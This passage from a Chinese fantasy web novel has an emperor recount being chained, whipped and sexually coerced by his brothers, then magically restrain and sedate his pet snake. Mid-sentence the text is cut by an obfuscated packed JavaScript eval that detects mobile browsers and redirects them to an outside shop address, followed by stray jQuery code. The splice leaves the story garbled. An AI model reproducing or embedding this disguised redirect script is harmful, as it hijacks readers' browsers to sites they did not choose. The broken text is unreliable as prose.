“我回宫后不久,父皇便迅速为我选定了一位世家女为正妃,也是当今的皇后宋远遥。” “大婚前一个月,三皇子假意失手,一箭射穿了我的双腿。太医说,伤势极重,至少需休养半年方能行走。” “即便如此,父皇说,大婚必须照常举行。宋远遥厌恶我,而我亦无心男女之事。成婚一年,我们自然无所出。就在父皇即将下旨为我纳妾时,我那六位好皇兄盯上了她和我。” “宫中处处是父皇的眼线,唯有一处例外,那便是神宫。”他抬眼望向神宫幽深的穹顶,继续说,“那日是祈福大典,神官离宫。他们趁此机会,联手将我和宋远遥绑到了神宫深处。” 他的呼吸微微急促起来,掌心却不自觉地收拢,将小蛇护得更紧。“他们逼我与她行苟且之事。她不肯,他们便肆意羞辱,强行……强迫我们。” 那些扭曲癫狂的笑脸,至今仍在他噩梦中浮现。 “他们说:‘就让列祖列宗看着,你们是如何欺瞒父皇!我们早知道了,你们是假夫妻!七弟,你连个种都没有,也配做周国皇子?’” “而后他们让我们像牲畜一样。不从,便拿铁链拴住我们,用浸了辣椒水的鞭子抽打。我们从神宫一楼,被鞭打着,爬到了七楼。”周清玄闭上眼,指尖微颤,“宋远遥不堪其辱,扯下颈间金链,吞金自尽。就在那时,阿城回来了。祈福未结束,他却提前归来。发现我们失踪,他立刻带着刚从边疆带回的亲兵,搜遍了皇宫。” “最终,在神宫七楼他找到了我们。”周清玄睁开眼,眸底翻涌着深沉的黑暗,“阿城当场疯了。他徒手活活打死了大皇子和三皇子。若非父皇及时赶到,另外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995146|192639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四个,也会被他用拳头生生捶死。” “活下来的那几个,被阿城吓得魂飞魄散,自此再不敢近我半步。”他扯出一个笑,“而父皇他对这一切毫不意外,从容指挥金吾卫清理现场,对皇兄们未作任何惩处,只是告诫所有人不可说出今日之事。” “自那日起,心结便种下了。只要尝试行走,当日种种屈辱便会翻涌上来。久而久之,腿伤虽愈,我也宁愿坐在轮椅上。” 原来,周清玄一直不愿意说的秘密就是这个。 如此屈辱的陈旧往事,对于一个帝王来说,不仅是身体和尊严上的羞辱,一旦被人知晓,对于他的帝位是一个重大的威胁。 “周清玄,”谢冬瑗听得心头发冷,忍不住小声打断,“我……我有些困了。我们能不能先回去?” 周清玄闻言,缓缓低下头看她。他笑了,笑容一点点扩大,在明亮的大殿上却显得有几分骇人。 谢冬瑗下意识想往后缩,却被他轻轻按住。 今天听到的已经太多、太深了。她有一种强烈的预感,若再深入他的世界,她将永无脱身之日。 “木木,”他轻声唤道,手指却缓缓摩挲着她最脆弱的七寸位置,眸色深不见底,“你怕了?” 小蛇瑟缩着想后退,却被他轻柔而坚定地禁锢在掌心。 “怕也没用了。从我将你带出帝王冢的那一刻起,就没打算放你走。”周清玄低下头,声音轻柔得像在说情话,“你知道吗,皇宫几百年来寸草不生,所有的花草树木都是假的。可你来了之后,这里长出了第一株绿芽。你待得越久,草木越是繁盛,鲜花次第开放。你是如此特殊,如此鲜活。” 他的气息靠近,言语愈发炽烈而混乱:“木木,今日不过说了些陈年旧事,你就怕成这样。若你见过从前的我呢?罢了,你无需怕我。我怎么会伤害你呢?你这么特别,这么让人欢喜。” 谢冬瑗真的怕了。他此刻的神情举止,已超出了她理解的范畴。她开始奋力挣扎,细小的身躯扭动着,只想远离这个危险的人类,逃离这令人窒息的地方。 就在这时,他手指出的王遗再次逸出柔和的绿色光丝。与上次的束缚不同,这次的光丝如最轻柔的纱幔,温柔地包裹住惊慌的小蛇。一股沉静的暖意流遍全身,谢冬瑗挣扎的力道渐渐消失,意识变得朦胧。 在彻底陷入黑暗前,她感到一个微凉而柔软的触感,轻轻印在她的唇边,一触即分。 “睡吧,木木。”他轻声说。 小蛇眼帘垂下,陷入了深沉的睡眠。 - 一片寂静中,在楼梯阴暗处,一双绣着金鹿纹的红色锦靴踏出黑暗,随后是绯红的袍角,最后,整个人现出身形最后,整个人影缓缓显现。 神官目光落在周清玄怀中,神色探究:“清玄,这就是你从神山带回来的那条蛇?” “嗯。”周清玄低头看着熟睡的小蛇,眼中是他自己都未曾察觉的留恋。 神官的目光久久没有移开,仔细端详了许久,脸上渐渐浮现出讶异:“先前听说你从神山带了条蛇下来,我只当是山中寻常生灵误入。可今日细看这气息,这灵韵,不似天生地养,倒像是她亲手点化创造之物。” 周清玄抬眼:“您认为,山神此举,意欲何为?” 神官抚着下巴,沉吟片刻,忽而笑了,那笑容却没什么温度:“清玄啊,我且问你,倘若有一天,这条小蛇会危及周国国运,你舍得、杀了她吗?” “她不过是一条小蛇。” “清玄,”神官的笑容加深,目光却锐利如针,“你在回避我的问题。” 他没有立刻回答神官的问题,只是沉默地看着怀里小蛇。 有那么一瞬间,神官以为,周清玄会给他不一样的回答。 周清玄缓缓抬起眼,迎向神官的视线,那双漆黑的眸子深不见底,最终一字一句清晰道:“一切,以周国为先。” 神官笑了,宽大的红袖一甩,转身步入阴影,只有声音悠悠传来: “清玄,记住你今日的话。”